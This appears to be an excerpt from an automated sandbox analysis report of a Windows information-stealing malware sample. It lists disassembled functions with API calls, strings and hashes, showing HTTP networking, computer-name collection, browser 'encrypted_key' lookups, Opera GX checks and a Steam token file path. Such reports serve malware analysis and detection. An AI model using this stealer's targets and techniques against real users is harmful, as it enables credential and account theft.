Instruction ID: 5d652ddacd3f0cc8d6f159dd16f681150e23373ddb7d5df4fae2268399efbaa7
Opcode Fuzzy Hash: 28caf840aee5f742ce8b167ac030a1714afc4280817f72af73d54f83891647aa
Instruction Fuzzy Hash: B921C532E4020AABDF10EB91DD41ADE7774AF41364F1045BEE950B72D0DF38AA49CA58

Function 00416880 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 004168B5

Strings

ERROR, xrefs: 004168AD
ERROR, xrefs: 004168D8

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: e777ab08267f5438d77e9bcaa8bba5d0d0afddbddd4b502180d01e9cd515e25a
Instruction ID: 1a3e91f55c678a087270c1db5f2d4501272bbb0eab73d9e6b4d818c4bfe9c2ae
Opcode Fuzzy Hash: e777ab08267f5438d77e9bcaa8bba5d0d0afddbddd4b502180d01e9cd515e25a
Instruction Fuzzy Hash: 24017C71A002189BCB20BB76D9869CD73A85F04304F114167BD14E3292D6BCE9898699

Function 00417023 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 0041708A
CreateThread.KERNEL32(00000000,00000000,00416F52,?,00000000,00000000), ref: 004170C2
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004170CA

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: 628ad50e888bd4c818e95c82b3ac43770484b66c2b54e0ab5912ba6519e5501a
Instruction ID: 6bd45489ef821003de90dc2f5bb34957d6f50c0db572c14d7fe8e5e48d4aab3a
Opcode Fuzzy Hash: 628ad50e888bd4c818e95c82b3ac43770484b66c2b54e0ab5912ba6519e5501a
Instruction Fuzzy Hash: 60214A72900219ABCF10EF55EC859DE7BB9FF44354F10412AF905A3251C779AA86CB98

Function 0041241B Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414ACD), ref: 00412435
WriteFile.KERNEL32(00000000,00000000,00414ACD,00414ACD,00000000,?,?,?,00414ACD), ref: 0041245C
CloseHandle.KERNEL32(00000000,?,?,?,00414ACD), ref: 00412473

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 8290f85b62bd7e33c2dcfbbc85231208eefcb9fd4bad64c91e3f3f76ae6d28f9
Instruction ID: 4f26f4eda66c6aca4eaf9ff0ad07a1db09bb9ffa41640e3e93edbc8a46cc3130
Opcode Fuzzy Hash: 8290f85b62bd7e33c2dcfbbc85231208eefcb9fd4bad64c91e3f3f76ae6d28f9
Instruction Fuzzy Hash: 6CF02471200108BFEF01AF64DD86EEB3B5CEF05398F001122F941D61A0D3A58F515BA9

Function 6CB53060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CB53095

Part of subcall function 6CB535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CBDF688,00001000), ref: 6CB535D5
Part of subcall function 6CB535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB535E0
Part of subcall function 6CB535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CB535FD
Part of subcall function 6CB535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB5363F
Part of subcall function 6CB535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB5369F
Part of subcall function 6CB535A0: __aulldiv.LIBCMT ref: 6CB536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB5309F

Part of subcall function 6CB75B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB756EE,?,00000001), ref: 6CB75B85
Part of subcall function 6CB75B50: EnterCriticalSection.KERNEL32(6CBDF688,?,?,?,6CB756EE,?,00000001), ref: 6CB75B90
Part of subcall function 6CB75B50: LeaveCriticalSection.KERNEL32(6CBDF688,?,?,?,6CB756EE,?,00000001), ref: 6CB75BD8
Part of subcall function 6CB75B50: GetTickCount64.KERNEL32 ref: 6CB75BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CB530BE

Part of subcall function 6CB530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CB53127
Part of subcall function 6CB530F0: __aulldiv.LIBCMT ref: 6CB53140

Part of subcall function 6CB8AB2A: __onexit.LIBCMT ref: 6CB8AB30

Memory Dump Source

Source File: 00000001.00000002.2257496235.000000006CB51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB50000, based on PE: true

Associated: 00000001.00000002.2257464628.000000006CB50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2257991076.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2258061368.000000006CBE2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb50000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 4935885dc8670bcea5858409033d21b9fc05f8508060cd3c1679fa27ed55ec5c
Instruction ID: b1e57d02baeeac0a02ef61e5024e1b535fb7202b2ef396251cf85b71ff68c017
Opcode Fuzzy Hash: 4935885dc8670bcea5858409033d21b9fc05f8508060cd3c1679fa27ed55ec5c
Instruction Fuzzy Hash: 01F0F912D28BC996CB10DF7488615EAB374AF6B114F54531AF84463A61FB2071D8C391

Function 00410C5A Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C66
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C6D
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410C81

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 6c13bdc48f24620c1458262451df69a1fa4e50b82ce9a072ad0b58c7c76c57f0
Instruction ID: f6aeb2de1523635185e516c3bea9f441b1e125238e9ebec13057e88de697580f
Opcode Fuzzy Hash: 6c13bdc48f24620c1458262451df69a1fa4e50b82ce9a072ad0b58c7c76c57f0
Instruction Fuzzy Hash: 49E08CB1200204BBD7448B99AC8DF8E7BBCDB84711F000235F605D2250E6B4C9848B68

Function 0040C931 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

StrCmpCA.SHLWAPI(?,Opera GX,0043684E,0043684B,?,?,?), ref: 0040C964

Part of subcall function 00411D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DD2

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00411D67: GetFileAttributesA.KERNEL32(?,?,?,0040DA54,?,?,?), ref: 00411D6E

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC65,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C954

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 335a2392ef4f7dbaf7e43c7b2dc912d7aed0ca2d822cc28f9d0630ff2ef11c1b
Instruction ID: 763ddcdae33350dc8d5d809906e0fe4b06c038e7bbc47a4f49a053b12efcf3f0
Opcode Fuzzy Hash: 335a2392ef4f7dbaf7e43c7b2dc912d7aed0ca2d822cc28f9d0630ff2ef11c1b
Instruction Fuzzy Hash: 52B1E032D0011DABCF11FBA5DE836DD7775AF04308F51413AF90477192DAB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 1e0293ad7fe1b410e6cab7663ead9d675dd73926159e09c2aa2d39085b7e9cd6
Instruction ID: 8b34d31359cbfb98b728bace79fec1a9097574c66fcc9e6a4a6ac37e45fc102e
Opcode Fuzzy Hash: 1e0293ad7fe1b410e6cab7663ead9d675dd73926159e09c2aa2d39085b7e9cd6
Instruction Fuzzy Hash: EA119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 00416372 Relevance: 3.1, APIs: 2, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DD2

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 004163BA
lstrcatA.KERNEL32(?), ref: 004163D8

Part of subcall function 00416013: wsprintfA.USER32 ref: 0041605A
Part of subcall function 00416013: FindFirstFileA.KERNEL32(?,?), ref: 00416071
Part of subcall function 00416013: StrCmpCA.SHLWAPI(?,00436ABC), ref: 00416092
Part of subcall function 00416013: StrCmpCA.SHLWAPI(?,00436AC0), ref: 004160AC
Part of subcall function 00416013: wsprintfA.USER32 ref: 004160D3
Part of subcall function 00416013: StrCmpCA.SHLWAPI(?,00436647), ref: 004160E7
Part of subcall function 00416013: wsprintfA.USER32 ref: 00416104
Part of subcall function 00416013: PathMatchSpecA.SHLWAPI(?,?), ref: 00416131
Part of subcall function 00416013: lstrcatA.KERNEL32(?), ref: 00416167
Part of subcall function 00416013: lstrcatA.KERNEL32(?,00436AD8), ref: 00416179
Part of subcall function 00416013: lstrcatA.KERNEL32(?,?), ref: 0041618C
Part of subcall function 00416013: lstrcatA.KERNEL32(?,00436ADC), ref: 0041619E
Part of subcall function 00416013: lstrcatA.KERNEL32(?,?), ref: 004161B2

Part of subcall function 00416013: wsprintfA.USER32 ref: 0041611B
Part of subcall function 00416013: CopyFileA.KERNEL32(?,?,00000001), ref: 0041626B
Part of subcall function 00416013: DeleteFileA.KERNEL32(?), ref: 004162DF
Part of subcall function 00416013: FindNextFileA.KERNEL32(?,?), ref: 00416341
Part of subcall function 00416013: FindClose.KERNEL32(?), ref: 00416355

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: f536500b2de659c8a874ca9889abf0fc51c0efb1626a2a79b1b13ac7ae800b69
Instruction ID: 826e2aa9427842c294e4836ca14d892f66531012b6896052894a1827d72e86a7
Opcode Fuzzy Hash: f536500b2de659c8a874ca9889abf0fc51c0efb1626a2a79b1b13ac7ae800b69
Instruction Fuzzy Hash: 4131C77280010DAFDF25EFA0DC03EE8777AEB0C309F05149EB609A72A1DA759A909F55

Function 00417143 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

lstrlenA.KERNEL32(?), ref: 0041718A

Part of subcall function 00417023: CreateThread.KERNEL32(00000000,00000000,00416F52,?,00000000,00000000), ref: 004170C2
Part of subcall function 00417023: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004170CA

Strings

Soft\Steam\steam_tokens.txt, xrefs: 0041719A

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: 444e77d572ffba00ebc6e44a85d8508b04b5c4b17b4aa2f100531ae59661ec68
Instruction ID: 6618271ae8dd7199904eae312c9496c80f7da9e978911cbdef3aac56a65875e3
Opcode Fuzzy Hash: 444e77d572ffba00ebc6e44a85d8508b04b5c4b17b4aa2f100531ae59661ec68
Instruction Fuzzy Hash: EF012131D00109ABCF00FBA6DD478CEBB389E04348F50417AFA0073152DB78AA8987D9

Function 00409043 Relevance: 2.7, APIs: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

lstrlenA.KERNEL32(?), ref: 004091DA
lstrlenA.KERNEL32(?), ref: 004091F5

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ab4cbe4299017d44bb8eac34b15bfb915b1b3b9c294ae80a8238ddb0b801f45c
Instruction ID: 3a1f960a7637d79bb47a0f5d83f5c1e50c7d17b4995ab1326c92e03d6789e1aa
Opcode Fuzzy Hash: ab4cbe4299017d44bb8eac34b15bfb915b1b3b9c294ae80a8238ddb0b801f45c
Instruction Fuzzy Hash: BD51FF71A00119ABCF01FFA5ED468DE7775AF04309F511026F500B71A2DBB8AE899B99

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 05bdf160f8efc9cc43d5322af45abfc495ce26904b45161f00d02fdde4737ff8
Instruction ID: c887a8aab8905174e490e40543d587288c91d689b553aa8af607c42ebbdab75a
Opcode Fuzzy Hash: 05bdf160f8efc9cc43d5322af45abfc495ce26904b45161f00d02fdde4737ff8
Instruction Fuzzy Hash: 6911B172A04705ABC724CFB8C989B9BB7F4EB40714F24883EE64AE7390D278B940C715

Function 0041CD49 Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CD5A

Part of subcall function 0041BCFD: lstrlenA.KERNEL32(?,0041CD6B,0041CE0D,00000000,06400000,00000003,00000000,0041770B,.exe,00436C64,00436C60,00436C5C,00436C58,00436C54,00436C50,00436C4C), ref: 0041BD2F
Part of subcall function 0041BCFD: malloc.MSVCRT ref: 0041BD37
Part of subcall function 0041BCFD: lstrcpyA.KERNEL32(00000000,?), ref: 0041BD42

malloc.MSVCRT ref: 0041CD97

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

